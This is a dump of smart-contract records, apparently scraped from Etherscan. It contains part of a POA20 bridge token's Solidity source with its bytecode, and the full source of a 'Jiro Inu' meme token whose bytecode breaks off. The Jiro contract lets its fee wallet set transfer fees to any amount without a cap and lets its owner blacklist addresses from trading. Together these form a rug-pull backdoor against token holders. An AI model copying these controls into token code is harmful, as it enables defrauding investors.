* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/POA20.sol
contract POA20 is
IBurnableMintableERC677Token,
DetailedERC20,
BurnableToken,
MintableToken {
function POA20(
string _name,
string _symbol,
uint8 _decimals)
public DetailedERC20(_name, _symbol, _decimals) {}
modifier validRecipient(address _recipient) {
require(_recipient != address(0) && _recipient != address(this));
_;
}
function transferAndCall(address _to, uint _value, bytes _data)
public validRecipient(_to) returns (bool)
{
bool result = super.transfer(_to, _value);
emit Transfer(msg.sender, _to, _value, _data);
if (isContract(_to)) {
result = contractFallback(_to, _value, _data);
}
return result;
}
function contractFallback(address _to, uint _value, bytes _data)
private
returns(bool)
{
ERC677Receiver receiver = ERC677Receiver(_to);
return receiver.onTokenTransfer(msg.sender, _value, _data);
}
function isContract(address _addr)
private
returns (bool hasCode)
{
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
function finishMinting() public returns (bool) {
revert();
}
}
|
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461010057806306fdde0314610127578063095ea7b3146101b157806318160ddd146101d357806323b872dd146101f8578063313ce567146102205780634000aea01461024957806340c10f19146102ae57806342966c68146102d057806366188463146102e857806370a082311461030a5780637d64bcb4146103295780638da5cb5b1461033c57806395d89b411461036b578063a9059cbb1461037e578063d73dd623146103a0578063dd62ed3e146103c2578063f2fde38b146103e7575b600080fd5b341561010b57600080fd5b610113610406565b604051901515815260200160405180910390f35b341561013257600080fd5b61013a610427565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017657808201518382015260200161015e565b50505050905090810190601f1680156101a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bc57600080fd5b610113600160a060020a03600435166024356104c5565b34156101de57600080fd5b6101e6610531565b60405190815260200160405180910390f35b341561020357600080fd5b610113600160a060020a0360043581169060243516604435610537565b341561022b57600080fd5b6102336106a7565b60405160ff909116815260200160405180910390f35b341561025457600080fd5b61011360048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506106b095505050505050565b34156102b957600080fd5b610113600160a060020a03600435166024356107ce565b34156102db57600080fd5b6102e66004356108db565b005b34156102f357600080fd5b610113600160a060020a03600435166024356109c2565b341561031557600080fd5b6101e6600160a060020a0360043516610abc565b341561033457600080fd5b610113610ad7565b341561034757600080fd5b61034f610ade565b604051600160a060020a03909116815260200160405180910390f35b341561037657600080fd5b61013a610aed565b341561038957600080fd5b610113600160a060020a0360043516602435610b58565b34156103ab57600080fd5b610113600160a060020a0360043516602435610c41565b34156103cd57600080fd5b6101e6600160a060020a0360043581169060243516610ce5565b34156103f257600080fd5b6102e6600160a060020a0360043516610d10565b60065474010000000000000000000000000000000000000000900460ff1681565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104bd5780601f10610492576101008083540402835291602001916104bd565b820191906000526020600020905b8154815290600101906020018083116104a057829003601f168201915b505050505081565b600160a060020a03338116600081815260056020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60045490565b6000600160a060020a038316151561054e57600080fd5b600160a060020a03841660009081526003602052604090205482111561057357600080fd5b600160a060020a03808516600090815260056020908152604080832033909416835292905220548211156105a657600080fd5b600160a060020a0384166000908152600360205260409020546105cf908363ffffffff610dab16565b600160a060020a038086166000908152600360205260408082209390935590851681522054610604908363ffffffff610dbd16565b600160a060020a0380851660009081526003602090815260408083209490945587831682526005815283822033909316825291909152205461064c908363ffffffff610dab16565b600160a060020a0380861660008181526005602090815260408083203386168452909152908190209390935590851691600080516020610ee38339815191529085905190815260200160405180910390a35060019392505050565b60025460ff1681565b60008084600160a060020a038116158015906106de575030600160a060020a031681600160a060020a031614155b15156106e957600080fd5b6106f38686610b58565b915085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16878760405182815260406020820181815290820183818151815260200191508051906020019080838360005b8381101561076e578082015183820152602001610756565b50505050905090810190601f16801561079b5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a36107b286610dd3565b156107c5576107c2868686610ddb565b91505b50949350505050565b60065460009033600160a060020a039081169116146107ec57600080fd5b60065474010000000000000000000000000000000000000000900460ff161561081457600080fd5b600454610827908363ffffffff610dbd16565b600455600160a060020a038316600090815260036020526040902054610853908363ffffffff610dbd16565b600160a060020a0384166000818152600360205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020610ee38339815191528460405190815260200160405180910390a350600192915050565b600160a060020a03331660009081526003602052604081205482111561090057600080fd5b5033600160a060020a0381166000908152600360205260409020546109259083610dab565b600160a060020a038216600090815260036020526040902055600454610951908363ffffffff610dab16565b600455600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a038216600080516020610ee38339815191528460405190815260200160405180910390a35050565b600160a060020a03338116600090815260056020908152604080832093861683529290529081205480831115610a1f57600160a060020a033381166000908152600560209081526040808320938816835292905290812055610a56565b610a2f818463ffffffff610dab16565b600160a060020a033381166000908152600560209081526040808320938916835292905220555b600160a060020a0333811660008181526005602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526003602052604090205490565b6000806000fd5b600654600160a060020a031681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104bd5780601f10610492576101008083540402835291602001916104bd565b6000600160a060020a0383161515610b6f57600080fd5b600160a060020a033316600090815260036020526040902054821115610b9457600080fd5b600160a060020a033316600090815260036020526040902054610bbd908363ffffffff610dab16565b600160a060020a033381166000908152600360205260408082209390935590851681522054610bf2908363ffffffff610dbd16565b600160a060020a038085166000818152600360205260409081902093909355913390911690600080516020610ee38339815191529085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600560209081526040808320938616835292905290812054610c79908363ffffffff610dbd16565b600160a060020a0333811660008181526005602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b60065433600160a060020a03908116911614610d2b57600080fd5b600160a060020a0381161515610d4057600080fd5b600654600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610db757fe5b50900390565b600082820183811015610dcc57fe5b9392505050565b6000903b1190565b600083600160a060020a03811663a4c0ed363386866040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610e76578082015183820152602001610e5e565b50505050905090810190601f168015610ea35780820380516001836020036101000a031916815260200191505b50945050505050602060405180830381600087803b1515610ec357600080fd5b5af11515610ed057600080fd5b505050604051805196955050505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820d1f9601907aa657b7db36d4db9b2b95b2066b0764a010989444c3c557d1ef7520029
|
{"success": true, "error": null, "results": {}}
| 7,932 |
0x2cfb117ec674beac5b9b71abbe1fdb2d815b31ba
|
/**
*Submitted for verification at Etherscan.io on 2021-11-02
*/
/**
*
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Jiro is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 5;
uint256 private _feeAddr2 = 5;
address payable private _feeAddrWallet1 = payable(0xD13Abefbb2ca58F6b9095432bb1c5ACae1389dfB);
address payable private _feeAddrWallet2 = payable(0xD13Abefbb2ca58F6b9095432bb1c5ACae1389dfB);
string private constant _name = "Jiro Inu";
string private constant _symbol = "JINU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600881526020017f4a69726f20496e75000000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4a494e5500000000000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffff